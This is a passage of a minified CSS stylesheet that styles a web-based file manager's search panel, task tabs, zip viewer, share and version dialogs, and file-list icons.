.search-header .btn-right{margin:0px 0 0 -2px;height:25px;width:30px;padding:0;height:28px \9\0;position:absolute !important;}.do-search-box .search-header .s_br{margin-bottom:8px;line-height:25px;}.do-search-box .search-header #search-value,.do-search-box .search-header #search-path,.do-search-box .search-header #search-ext{height:23px;height:27px \0;border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;width:125px;padding-left:10px;padding-right:10px;margin-left:5px;}.do-search-box .search-header #search-value:focus,.do-search-box .search-header #search-path:focus,.do-search-box .search-header #search-ext:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.do-search-box .search-header #search-value{width:190px;margin:0;padding:2px 5px 0px 5px;padding-top:1px \0;}.do-search-box #search-is-case{margin-left:10px;}.do-search-box .search-desc{height:30px;line-height:30px;text-align:center;font-size:13px;margin:0px 10px;border:1px solid #ddd;color:#3196e6;background-image:-webkit-linear-gradient(top,#fff,#def);border-top-left-radius:3px;border-top-right-radius:3px;}.do-search-box .search-result{overflow-y:auto;overflow-x:hidden;position:absolute;top:137px;bottom:0px;right:0px;left:0px;margin:10px;border:1px solid #ddd;border-top:none;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;}.do-search-box .search-result .file-items{list-style:none;margin:0px;padding:10px 0;font-size:13px;}.do-search-box .search-result .file-item .file-info{height:25px;line-height:25px;cursor:default;padding-left:10px;font-size:13px;color:#444;position:relative;word-wrap:break-word;word-break:break-all;overflow:hidden;}.do-search-box .search-result .file-item .file-info:hover{background:#eee;}.do-search-box .search-result .file-item .file-info .title{height:25px;color:#666;padding-left:5px;}.do-search-box .search-result .file-item .file-info .title:hover{border-bottom:1px solid #1387bb;cursor:pointer;color:#1387bb;}.do-search-box .search-result .file-item .file-info .switch{width:20px;height:20px;display:inline-block;text-align:center;color:#aaa;font-size:14px;}.do-search-box .search-result .file-item .file-info .file-icon{display:inline-block;width:18px;height:18px;}.do-search-box .search-result .file-item .file-info .file-icon img{width:100%;height:100%;}.do-search-box .search-result .file-item .file-info .result-num{margin:0 5px;border-radius:10px;background-color:#dfeaf3;color:#666;font-size:12px;padding:3px 8px;font-weight:bold;}.do-search-box .search-result .file-item .file-info .goto{position:absolute;right:0;top:0;width:30px;height:25px;line-height:25px;text-align:center;color:#bbb;background:#fff;cursor:pointer;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;}.do-search-box .search-result .file-item .file-info .goto:hover,.do-search-box .search-result .file-item .file-info:hover .goto:hover{background:#fbbc00;color:#fff;}.do-search-box .search-result .file-item .file-info:hover .goto{display:block;background:#e6e6e6;}.do-search-box .search-result .file-item .keyword{background:#ffef65;color:#000;}.do-search-box .search-result .file-item .result-item{list-style:none;margin:0px;padding:0px;}.do-search-box .search-result .file-item .result-item .result-info{height:25px;margin:0px;padding:0;line-height:25px;padding:0 15px;cursor:default;overflow:hidden;white-space:nowrap;text-overflow:ellipsis;}.do-search-box .search-result .file-item .result-item .result-info:hover{background:#eee;}.do-search-box .search-result .file-item .result-item .result-info.this,.do-search-box .search-result .file-item .result-item .result-info.this:hover{background:#63acff;}.do-search-box .search-result .file-item .result-item .result-info.this .line,.do-search-box .search-result .file-item .result-item .result-info.this .search-info,.do-search-box .search-result .file-item .result-item .result-info.this:hover .line,.do-search-box .search-result .file-item .result-item .result-info.this:hover .search-info{color:#fff;}.do-search-box .search-result .file-item .result-item .line{display:inline-block;width:32px;margin-left:7px;padding-right:4px;text-align:right;font-weight:800;color:#aaa;}.do-search-box .search-result .file-item .result-item .search-info{font-family:Menlo, Consolas, source-code-pro, Monaco, 'Liberation Mono', 'Ubuntu Mono', monospace 'Microsoft Yahei', '微软雅黑', Courier, 'Helvetica Neue', 'Lantinghei SC', STXihei, WenQuanYi, sans-serif;color:#444;}.do-search-box .search-result .file-item.open .file-info .switch .icon-caret-right:before{content:"\f0d7";}#maskViewContent .upload-tips{text-align:center;}#maskViewContent .upload-tips .icon-cloud{opacity:0.8;}#maskViewContent .upload-tips .icon-cloud.cloud2{font-size:180px;}#maskViewContent .upload-tips .icon-cloud.cloud1,#maskViewContent .upload-tips .icon-cloud.cloud3{position:absolute;opacity:0.6;}#maskViewContent .upload-tips .icon-cloud.cloud1{margin-left:-60px;margin-top:110px;-webkit-animation:moveLeftLoop 8.0s infinite ease-in-out;animation:moveLeftLoop 8.0s infinite ease-in-out;}#maskViewContent .upload-tips .icon-cloud.cloud3{margin-left:-50px;margin-top:60px;font-size:60px;animation-delay:4s;-webkit-animation-delay:4s;-webkit-animation:moveLeftLoop 10.0s infinite ease-in-out;animation:moveLeftLoop 10.0s infinite ease-in-out;}#maskViewContent .upload-tips .cloud-moveup{height:70px;}#maskViewContent .upload-tips .cloud-moveup i{position:absolute;margin-left:-23px;margin-top:-16px;}body#page-desktop .topbar .content .topbar-menu{border-color:rgba(255,255,255,0.01);}.full-background{position:absolute;overflow:hidden;z-index:0;}.aero:before{position:absolute;top:0;right:0;bottom:0;left:0;z-index:-1;box-sizing:border-box;background-position:center center;background-size:cover;background-repeat:no-repeat;background-attachment:fixed;content:'';-webkit-filter:blur(4px) brightness(1.0);filter:blur(4px) brightness(1.0);clip-path:inset(0);}.aero:after{position:absolute;top:0;right:0;bottom:0;left:0;z-index:-2;box-sizing:border-box;background-position:center center;background-size:cover;background-repeat:no-repeat;background-attachment:fixed;clip-path:inset(0);}.task-tab{position:fixed;bottom:1px;left:0;width:100%;height:30px;padding-left:50px;z-index:100;background:rgba(0,0,0,0.1);border-top:1px solid rgba(0,0,0,0.15);color:#444;}.task-tab .tabs{height:100%;margin-right:20px;margin-right:60px;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;}.task-tab .tabs .tab{float:left;height:29px;margin-right:2px;white-space:nowrap;text-overflow:ellipsis;width:110px;border:1px solid rgba(255,255,255,0.4);line-height:30px;text-shadow:0px 0px 0px #fff, 0px 0px 4px #000, 0px 0px 5px #000;color:#fff;border-radius:3px;cursor:default;overflow:hidden;font-size:1em;box-shadow:0 0 6px #666;padding-left:4px;word-break:break-all;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.3)', endColorstr='rgba(255,255,255,0)');background-image:-webkit-linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));background-image:-moz-linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));background-image:-o-linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));background-image:-ms-linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));background-image:linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));-pie-background:linear-gradient(to top,rgba(255,255,255,0.3),rgba(255,255,255,0));-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}.task-tab .tabs .tab.hover{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.5)', endColorstr='rgba(255,255,255,0)');background-image:-webkit-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-moz-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-o-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-ms-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));-pie-background:linear-gradient(to top,rgba(255,255,255,0.5),rgba(255,255,255,0));}.task-tab .tabs .tab.this{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.7)', endColorstr='rgba(255,255,255,0)');background-image:-webkit-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:-moz-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:-o-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:-ms-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));-pie-background:linear-gradient(to top,rgba(255,255,255,0.7),rgba(255,255,255,0));box-shadow:0 0 6px #000;}.tasktab-dragging{position:fixed;position:absolute;z-index:99999;height:30px;width:110px;border:1px solid rgba(255,255,255,0.4);line-height:30px;text-shadow:0 0 3px #000;box-shadow:0 0 6px #000;padding-left:4px;white-space:nowrap;text-overflow:ellipsis;border-radius:3px;cursor:default;color:#fff;overflow:hidden;font-size:1em;word-break:break-all;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.8)', endColorstr='rgba(255,255,255,0.2)');background-image:-webkit-linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));background-image:-moz-linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));background-image:-o-linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));background-image:-ms-linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));background-image:linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));-pie-background:linear-gradient(to top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));}.init-loading{position:fixed;left:50%;margin-left:-80px;top:40%;font-size:1.25em;z-index:999999;width:auto;}.init-loading div{padding:20px;background:#000;opacity:0.6;filter:alpha(opacity=60);margin:0 auto;color:#FFF;border-radius:6px;text-align:center;line-height:30px;}.init-loading img{border-radius:10px;}.space-info-bar{width:110px;}.space-info-bar .space-process{width:110px;height:6px;overflow:hidden;background-color:#ddd;margin:0px;border-radius:5px;}.space-info-bar .space-process .space-process-use{width:20%;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;height:100%;background-color:#428bca;border-radius:5px;}.space-info-bar .space-process .space-process-use.warning{background-color:#f00 !important;}.dialog-app-select .app-list{border:1px solid #ddd;padding:25px 0 0 10px;height:280px;overflow:auto;overflow-x:hidden;border-radius:4px;background:#f5f5f5;}.dialog-app-select .app-list .app-item{border:1px solid #f5f5f5;width:95px;height:110px;border-radius:4px;transition:all 0.2s ease 0s;margin:0 10px 10px 0;text-align:center;float:left;color:#444;text-decoration:none;}.dialog-app-select .app-list .app-item:hover{border-color:#77c2ff;background:#def;}.dialog-app-select .app-list .app-item.select{border-color:#559cec;background:#63acff;color:#fff;}.dialog-app-select .app-list .app-item .ico{width:64px;height:64px;display:table-cell;vertical-align:middle;padding:5px 0 0 16px;}.dialog-app-select .app-list .app-item .ico img{width:100%;height:auto;}.dialog-app-select .app-list .app-item .ico .x-item-file{display:block;}.dialog-app-select .app-list .app-item .ico [class^="icon-"].font-icon,.dialog-app-select .app-list .app-item .ico [class*="icon-"].font-icon{width:56px;height:56px;line-height:60px;font-size:28px;padding:0px;text-align:center;margin-top:-2px;border-radius:12px;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(3,169,244,0.7)', endColorstr='rgba(63,81,181,0.5)');background-image:-webkit-linear-gradient(164deg,rgba(3,169,244,0.7),rgba(63,81,181,0.5));background-image:-moz-linear-gradient(164deg,rgba(3,169,244,0.7),rgba(63,81,181,0.5));background-image:-o-linear-gradient(164deg,rgba(3,169,244,0.7),rgba(63,81,181,0.5));background-image:-ms-linear-gradient(164deg,rgba(3,169,244,0.7),rgba(63,81,181,0.5));background-image:linear-gradient(164deg,rgba(3,169,244,0.7),rgba(63,81,181,0.5));-pie-background:linear-gradient(to 164deg,rgba(3,169,244,0.7),rgba(63,81,181,0.5));color:#fff;display:inline-block;}.appbox{overflow:hidden;padding:0px 10px 0 0;}.appbox .appline{width:100%;margin-bottom:10px;line-height:20px;overflow:hidden;}.appbox .appline .left{float:left;width:80px;text-align:right;padding-right:14px;}.appbox .appline .right{float:left;}.appbox .appline input{margin-right:5px;}.appbox .appline label{display:inline-block;margin-left:-10px;padding:0 5px;}.appbox .appline input[type=text],.appbox .appline textarea{width:275px;padding:0px 5px;border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;height:28px;border-radius:3px;}.appbox .appline input[type=text]:focus,.appbox .appline textarea:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 0 3px rgba(117,161,240,0.3);}.appbox .appline input[type=text].w30{width:50px;}.appbox .appline input[type=text].w20{width:30px;}.appbox .appline textarea{height:100px;}.appbox .appline.icon input{width:232px;}.appbox .appline.icon a{padding:2px 4px;top:0px;border:1px solid #CCC;}.appbox .appline.icon .open{margin-left:-12px;cursor:pointer;margin-top:-4px;font-size:14px;padding:3px 1em 4px 1em;}.appbox .appline.icon a img{width:20px;height:20px;}.zip-view-dialog .aui-content{min-width:400px;position:relative;}.zip-view-dialog .aui-title{height:90px;}.zip-view-dialog .zip-view-content{position:absolute;left:0;right:0;bottom:0;top:0px;margin:0px;min-width:400px;border:none;}.zip-view-dialog .zip-view-content .header{height:90px;background-color:#2c41b3;background-image:linear-gradient(to bottom,#2c41b3 0,#222b5d 100%);color:#fff;position:relative;}.zip-view-dialog .zip-view-content .header .bg{background:url("../../../images/common/banner/fly.png") 100px -300px;width:100%;height:100%;position:absolute;}.zip-view-dialog .zip-view-content .header .icon{width:56px;height:56px;position:absolute;left:20px;top:20px;}.zip-view-dialog .zip-view-content .header .name,.zip-view-dialog .zip-view-content .header .desc{position:absolute;overflow:hidden;white-space:nowrap;text-overflow:ellipsis;width:80%;}.zip-view-dialog .zip-view-content .header .name{margin:22px 0 0 90px;font-size:18px;font-weight:800;}.zip-view-dialog .zip-view-content .header .desc{margin:50px 0 0 90px;}.zip-view-dialog .zip-view-content .zip-header-title{height:23px;line-height:23px;border-bottom:1px solid #ddd;border-top:1px solid #ddd;background:#f6f6f6 url("../../../images/common/bg.gif") 0 -30px;}.zip-view-dialog .zip-view-content .zip-header-title .item{float:left;}.zip-view-dialog .zip-view-content .zip-header-title .item span{display:block;border-right:1px solid #ddd;padding-left:10px;cursor:default;}.zip-view-dialog .zip-view-content .zip-header-title .name{width:60%;}.zip-view-dialog .zip-view-content .zip-header-title .size{width:10%;}.zip-view-dialog .zip-view-content .zip-header-title .mtime{width:30%;}.zip-view-dialog .zip-view-content .zip-header-title .item.mtime span{border-right:none;}.zip-view-dialog .zip-view-content .ztree{padding:0px;position:absolute;top:115px;left:0;right:0px;bottom:0;overflow:auto;}.zip-view-dialog .zip-view-content .ztree li,.zip-view-dialog .zip-view-content .ztree li ul{width:100%;}.zip-view-dialog .zip-view-content .ztree li a{position:relative;padding-left:0;color:#333;text-shadow:none;}.zip-view-dialog .zip-view-content .ztree li a:hover{transition:none;}.zip-view-dialog .zip-view-content .ztree li a.odd{background:#f1f7ff;}.zip-view-dialog .zip-view-content .ztree li a:hover,.zip-view-dialog .zip-view-content .ztree li a.odd:hover{background:#fdeec3;}.zip-view-dialog .zip-view-content .ztree li a.curSelectedNode,.zip-view-dialog .zip-view-content .ztree li a.odd.curSelectedNode{background:#63acff;color:#fff;}.zip-view-dialog .zip-view-content .ztree li a .name{width:45%;overflow:hidden;position:absolute;word-break:break-all;text-overflow:ellipsis;}.zip-view-dialog .zip-view-content .ztree li a .time{width:27%;opacity:0.8;font-size:12px;position:absolute;left:72%;}.zip-view-dialog .zip-view-content .ztree li a .size{width:10%;opacity:0.8;font-size:12px;position:absolute;left:62%;}.zip-view-dialog .zip-view-content .ztree li a .menu-item-parent{display:none;position:absolute;right:0px;top:0;text-align:center;width:25px;height:24px;background:#fff;background:rgba(50,50,50,0.1);color:#666;}.zip-view-dialog .zip-view-content .ztree li a:hover .menu-item-parent{display:block;}.zip-view-dialog .zip-view-content .ztree li a.curSelectedNode .menu-item-parent{display:block;color:#fff;}.dialog-min-size.zip-view-dialog .aui-title{height:auto !important;}.dialog-min-size.zip-view-dialog .aui-header .aui-min,.dialog-min-size.zip-view-dialog .aui-header .aui-max,.dialog-min-size.zip-view-dialog .aui-header .aui-close{color:#ddd;}.support-space-not .share-dialog .content-box .content-info{padding:30px 20px 30px 20px;}.support-space-not .system-content .right-frame .group-title .group-size{display:none !important;}.support-space-not .size-max-set,.support-space-not .user-setting-more-btn,.support-space-not .user-setting-more{display:none;}.support-space-not .user-list .space,.support-space-not .share-view-info,.support-space-not .user-space-info{display:none;}.support-space-not .frame-main .user-space-info{display:none;}.support-space-not .frame-main .frame-left .group-space-use{display:none;}.support-space-not .frame-main .frame-left #folder-list-tree{bottom:70px;}.dropdown-menu.menu-topbar-user{right:6px;}.version-vip{height:26px;line-height:26px;padding:0;opacity:0.7;filter:alpha(opacity=70);padding-left:25px;cursor:pointer;font-size:12px;display:block;color:#eee;background:#999;}.version-vip#version_vip_1{color:#bdeaff;background:#03a9f4;}.version-vip#version_vip_2{color:#ea9df7;background:#9c27b0;}.version-vip#version_vip_3,.version-vip#version_vip_4,.version-vip#version_vip_5,.version-vip#version_vip_6{color:#fff;background:#ffc107;}.version-vip:hover{opacity:0.9;filter:alpha(opacity=90);text-decoration:none;}.version-license{width:250px;height:250px;overflow:hidden;position:absolute;z-index:9999;pointer-events:none;top:30px;left:0px;}.version-license a.line{position:absolute;pointer-events:all;width:300px;height:60px;line-height:60px;left:-70px;top:40px;font-size:20px;background:#FF9800;background:linear-gradient(to top left,#FF9800,#FF5722);text-decoration:none;-webkit-transform:rotate(-45deg);-moz-transform:rotate(-45deg);transform:rotate(-45deg);-webkit-transition:all 0.2;-moz-transition:all 0.2;-o-transition:all 0.2;-ms-transition:all 0.2;transition:all 0.2;text-align:center;color:#fff;opacity:0.9;filter:alpha(opacity=90);}.version-license a.line:hover{opacity:0.7;filter:alpha(opacity=70);}.path-select-input{width:550px;padding:7px;background:rgba(255,255,255,0.3);border:1px solid rgba(100,100,100,0.3);color:#000;}.aui-state-lock .aui-min{display:none;}.dialog-copyright{width:400px !important;}.dialog-copyright,.share-dialog,.check-version-dialog{min-width:400px;}.dialog-copyright.dialog-simple .aui-outer,.share-dialog.dialog-simple .aui-outer,.check-version-dialog.dialog-simple .aui-outer{overflow:inherit;box-shadow:0 0px 60px rgba(0,0,0,0.4);border-radius:5px;border:none;}.dialog-copyright.dialog-simple .aui-outer,.dialog-copyright.dialog-simple .aui-outer.dialog-mouse-in,.share-dialog.dialog-simple .aui-outer,.share-dialog.dialog-simple .aui-outer.dialog-mouse-in,.check-version-dialog.dialog-simple .aui-outer,.check-version-dialog.dialog-simple .aui-outer.dialog-mouse-in{border:none;}.dialog-copyright.dialog-simple .aui-outer .aui-main,.dialog-copyright.dialog-simple .aui-outer.dialog-mouse-in .aui-main,.share-dialog.dialog-simple .aui-outer .aui-main,.share-dialog.dialog-simple .aui-outer.dialog-mouse-in .aui-main,.check-version-dialog.dialog-simple .aui-outer .aui-main,.check-version-dialog.dialog-simple .aui-outer.dialog-mouse-in .aui-main{border:none;}.dialog-copyright.dialog-simple .aui-outer .aui-header,.dialog-copyright.dialog-simple .aui-outer.dialog-mouse-in .aui-header,.share-dialog.dialog-simple .aui-outer .aui-header,.share-dialog.dialog-simple .aui-outer.dialog-mouse-in .aui-header,.check-version-dialog.dialog-simple .aui-outer .aui-header,.check-version-dialog.dialog-simple .aui-outer.dialog-mouse-in .aui-header{border:none;}.dialog-copyright.dialog-simple .aui-header,.share-dialog.dialog-simple .aui-header,.check-version-dialog.dialog-simple .aui-header{background:transparent;opacity:1.0;filter:alpha(opacity=100);border:none;}.dialog-copyright.dialog-simple .aui-nw,.dialog-copyright.dialog-simple .aui-n,.dialog-copyright.dialog-simple .aui-ne,.dialog-copyright.dialog-simple .aui-w,.dialog-copyright.dialog-simple .aui-e,.dialog-copyright.dialog-simple .aui-sw,.dialog-copyright.dialog-simple .aui-s,.dialog-copyright.dialog-simple .aui-se,.share-dialog.dialog-simple .aui-nw,.share-dialog.dialog-simple .aui-n,.share-dialog.dialog-simple .aui-ne,.share-dialog.dialog-simple .aui-w,.share-dialog.dialog-simple .aui-e,.share-dialog.dialog-simple .aui-sw,.share-dialog.dialog-simple .aui-s,.share-dialog.dialog-simple .aui-se,.check-version-dialog.dialog-simple .aui-nw,.check-version-dialog.dialog-simple .aui-n,.check-version-dialog.dialog-simple .aui-ne,.check-version-dialog.dialog-simple .aui-w,.check-version-dialog.dialog-simple .aui-e,.check-version-dialog.dialog-simple .aui-sw,.check-version-dialog.dialog-simple .aui-s,.check-version-dialog.dialog-simple .aui-se{height:0px;width:0px;background:none;}.dialog-copyright.dialog-simple .aui-inner,.share-dialog.dialog-simple .aui-inner,.check-version-dialog.dialog-simple .aui-inner{border:none;background:none;}.dialog-copyright.dialog-simple .aui-title,.share-dialog.dialog-simple .aui-title,.check-version-dialog.dialog-simple .aui-title{opacity:0.01;filter:alpha(opacity=1);top:0px;position:absolute;width:100%;height:100%;z-index:5;}.dialog-copyright.dialog-simple .aui-min,.dialog-copyright.dialog-simple .aui-max,.share-dialog.dialog-simple .aui-min,.share-dialog.dialog-simple .aui-max,.check-version-dialog.dialog-simple .aui-min,.check-version-dialog.dialog-simple .aui-max{display:none;}.dialog-copyright.dialog-simple .aui-title-bar,.share-dialog.dialog-simple .aui-title-bar,.check-version-dialog.dialog-simple .aui-title-bar{bottom:0px;overflow:hidden;height:100px;position:absolute;margin-top:-120px;top:120px;margin-left:0px;border-radius:4px;}.dialog-copyright.dialog-simple .aui-close,.share-dialog.dialog-simple .aui-close,.check-version-dialog.dialog-simple .aui-close{opacity:0.6;filter:alpha(opacity=60);background:rgba(0,0,0,0.5);width:100px;height:100px;top:-50px;right:-50px;border-radius:50px;text-align:left;font-size:20px;z-index:100;padding:0;}.dialog-copyright.dialog-simple .aui-close:hover,.share-dialog.dialog-simple .aui-close:hover,.check-version-dialog.dialog-simple .aui-close:hover{opacity:0.6;filter:alpha(opacity=60);}.dialog-copyright.dialog-simple .aui-close:active,.share-dialog.dialog-simple .aui-close:active,.check-version-dialog.dialog-simple .aui-close:active{opacity:1.0;filter:alpha(opacity=100);}.dialog-copyright.dialog-simple .aui-close::before,.share-dialog.dialog-simple .aui-close::before,.check-version-dialog.dialog-simple .aui-close::before{padding-left:22px;line-height:140px;}.dialog-copyright .aui-footer,.share-dialog .aui-footer,.check-version-dialog .aui-footer{display:none;}.check-version-dialog .update-box{margin-top:0px;}.share-dialog .content-box .content-info .input-line .open-window,.pathinfo .input-group-btn .open-window{margin-right:-1px;border-radius:0px;}.dialog-copyright .dialog-copyright-content,.check-version-dialog .aui-content{-khtml-user-select:text;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;width:auto;border-radius:6px;width:400px;-webkit-box-shadow:0px 10px 60px rgba(0,0,0,0.4);-moz-box-shadow:0px 10px 60px rgba(0,0,0,0.4);box-shadow:0px 10px 60px rgba(0,0,0,0.4);border:1px solid #ccc \9;padding-bottom:30px;background:#fff;background:rgba(255,255,255,0.9);}.dialog-copyright .dialog-copyright-content .title,.check-version-dialog .aui-content .title{width:100%;background:#6699cc url("../../../images/common/login.png");height:150px;padding-top:0px;border-top-left-radius:5px;border-top-right-radius:5px;}.dialog-copyright .dialog-copyright-content .title .logo,.check-version-dialog .aui-content .title .logo{text-align:center;font-size:35px;width:100%;padding-top:40px;color:#aaddff;-webkit-box-reflect:below -13px -webkit-gradient(linear,left top,left bottom,from(transparent),to(rgba(255,255,255,0.2)));background-image:-webkit-linear-gradient(92deg,#FFFFFF,#14A1FF);-webkit-background-clip:text;-webkit-text-fill-color:transparent;-webkit-animation:hue 6s 100 linear;}.dialog-copyright .dialog-copyright-content .title .logo i,.check-version-dialog .aui-content .title .logo i{color:#aaddff;font-weight:400;margin-right:10px;}.dialog-copyright .dialog-copyright-content .title .info,.check-version-dialog .aui-content .title .info{text-align:right;font-size:1.15em;color:#aaddff;padding-right:14px;padding-top:30px;}.dialog-copyright .dialog-copyright-content .content,.check-version-dialog .aui-content .content{padding:20px;}.dialog-copyright .dialog-copyright-content .content p,.check-version-dialog .aui-content .content p{text-indent:2em;color:#333;margin-bottom:30px;}.dialog-copyright .dialog-copyright-content .content a,.check-version-dialog .aui-content .content a{padding-right:5px;}.dialog-copyright .dialog-copyright-content .content div,.check-version-dialog .aui-content .content div{text-align:center;padding-bottom:5px;}.check-version-dialog.dialog-simple .aui-title-bar{margin-top:-120px;}.share-dialog .content-box{-webkit-box-shadow:0 5px 30px rgba(0,0,0,0.5);-moz-box-shadow:0 5px 30px rgba(0,0,0,0.5);box-shadow:0 5px 30px rgba(0,0,0,0.5);border-radius:5px;background:#fff;border:1px solid #ccc \9;width:auto;}.share-dialog .content-box .title{width:100%;color:#fff;height:100px;border-radius:5px 5px 0 0;background:#6699cc url('../../../images/common/login.png');}.share-dialog .content-box .titleinfo{text-align:center;font-size:35px;height:60px;overflow:hidden;line-height:80px;}.share-dialog .content-box .titleinfo i{color:#dff;font-size:30px;padding-right:10px;}.share-dialog .content-box .share-view-info{width:200px;margin:0 auto;margin-top:0px;padding:1px 5px;text-align:center;border-radius:17px;background:#117eaf;background:rgba(0,0,0,0.2);opacity:0.8;filter:alpha(opacity=80);}.share-dialog .content-box .content-info{padding:10px;padding-left:20px;}.share-dialog .content-box .content-info .input-line{margin:6px 0 8px 0;position:relative;}.share-dialog .content-box .content-info .input-line .input-title{display:block;width:80px;padding-top:4px;float:left;height:30px;padding-right:10px;text-align:right;}.share-dialog .content-box .content-info .input-line input[type="text"]{border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;height:32px;line-height:30px;padding:0px 5px;width:150px;margin-right:10px;float:left;border-radius:3px;}.share-dialog .content-box .content-info .input-line input[type="text"]:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 0 3px rgba(117,161,240,0.3);}.share-dialog .content-box .content-info .input-line label{margin-top:8px;margin-right:10px;}.share-dialog .content-box .content-info .input-line label input{margin:0 5px 5px 0;}.share-dialog .content-box .content-info .input-line .desc{font-size:1em;color:#bbb;font-style:normal;padding-left:0px;}.share-dialog .content-box .content-info .input-line .share-name{width:215px;margin-right:10px;}.share-dialog .content-box .content-info .input-line .share-url{margin-right:0;border-radius:3px 0 0 3px;width:167px !important;height:33px;}.share-dialog .content-box .content-info .input-line .share-more{line-height:33px;}.share-dialog .content-box .content-info .input-line .input-group-btn{float:left;}.share-dialog .content-box .content-info .input-line .dropdown-toggle{margin-left:-5px;border-radius:0 3px 3px 0;}.share-dialog .content-box .content-info .input-line .open-window{margin-left:-12px;}.share-dialog .content-box .content-info .input-line .share-copy{width:60px;border-radius:0px;margin-left:-7px;}.share-dialog .content-box .content-info .input-line.select-path input[type="text"]{width:155px;}.share-dialog .content-box .content-info .input-line.select-path a.select-btn{margin-left:-14px;padding:5px 8px 5px;font-size:15px;border-top-left-radius:0px;border-bottom-left-radius:0px;}.share-dialog .content-box .content-info .share-others{margin:-8px 0 -8px 0;}.share-dialog .content-box .share-action{border-top:1px solid #eee;background:#f8f8f8;height:60px;border-radius:0 0 4px 4px;}.share-dialog .content-box .share-action button{float:right;margin:10px 20px 10px 0px;outline:0;}.share-dialog .content-box .share-action .share-remove-button,.share-dialog .content-box .share-action .remove-button{float:right;margin-top:18px;color:#888;margin-right:20px;font-size:14px;}.share-dialog .content-box .share-action .share-remove-button:hover,.share-dialog .content-box .share-action .remove-button:hover{color:#f30;}.file-list-icon .file{position:relative;}.file-list-icon .file .download{position:absolute;bottom:4px;margin-left:45px;opacity:0.5;filter:alpha(opacity=50);}.file-list-icon .file .download .btn{font-size:1.25em;padding:0;display:block;border-radius:18px;height:30px;line-height:30px;width:30px;color:#aaa;}.file-list-list .file{position:relative;}.file-list-list .file .download{position:absolute;bottom:-2px;margin-left:45px;left:180px;z-index:99;opacity:0.5;filter:alpha(opacity=50);}.file-list-list .file .download .btn{font-size:1.25em;padding:0;display:block;border-radius:18px;height:28px;line-height:28px;width:28px;color:#aaa;}.pathSelectApi .aui-footer .aui-buttons{padding:15px;}.pathSelectApi .aui-footer .label{position:absolute;right:175px;margin-top:6px;opacity:0.7;filter:alpha(opacity=70);}body div.file-continer .file.file-not-writeable,body .frame-main .frame-left .ztree li a.file-not-writeable{opacity:0.7;filter:alpha(opacity=70);color:#08c !important;}body div.file-continer .file.file-not-readable,body div.file-continer .file.file-not-readable.file-not-writeable,body .frame-main .frame-left .ztree li a.file-not-readable,body .frame-main .frame-left .ztree li a.file-not-readable.file-not-writeable{opacity:0.4;filter:alpha(opacity=40);color:#a00 !important;}.url-link input{border:1px solid #ddd;background:#fff;line-height:30px;height:30px;width:300px;margin-bottom:15px;padding:0 5px;}.aui-content .ajaxError{-khtml-user-select:text;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;color:#f60;position:absolute;left:0px;right:0px;bottom:0px;top:40px;overflow:auto;padding:10px;}.pathinfo{font-size:1em;width:350px;min-height:300px;padding:20px 0 10px 0;color:#446;}.pathinfo .line{width:95%;margin:8px auto 8px auto;height:0px;border-bottom:1px solid #eee;}.pathinfo .download-url{padding:0px 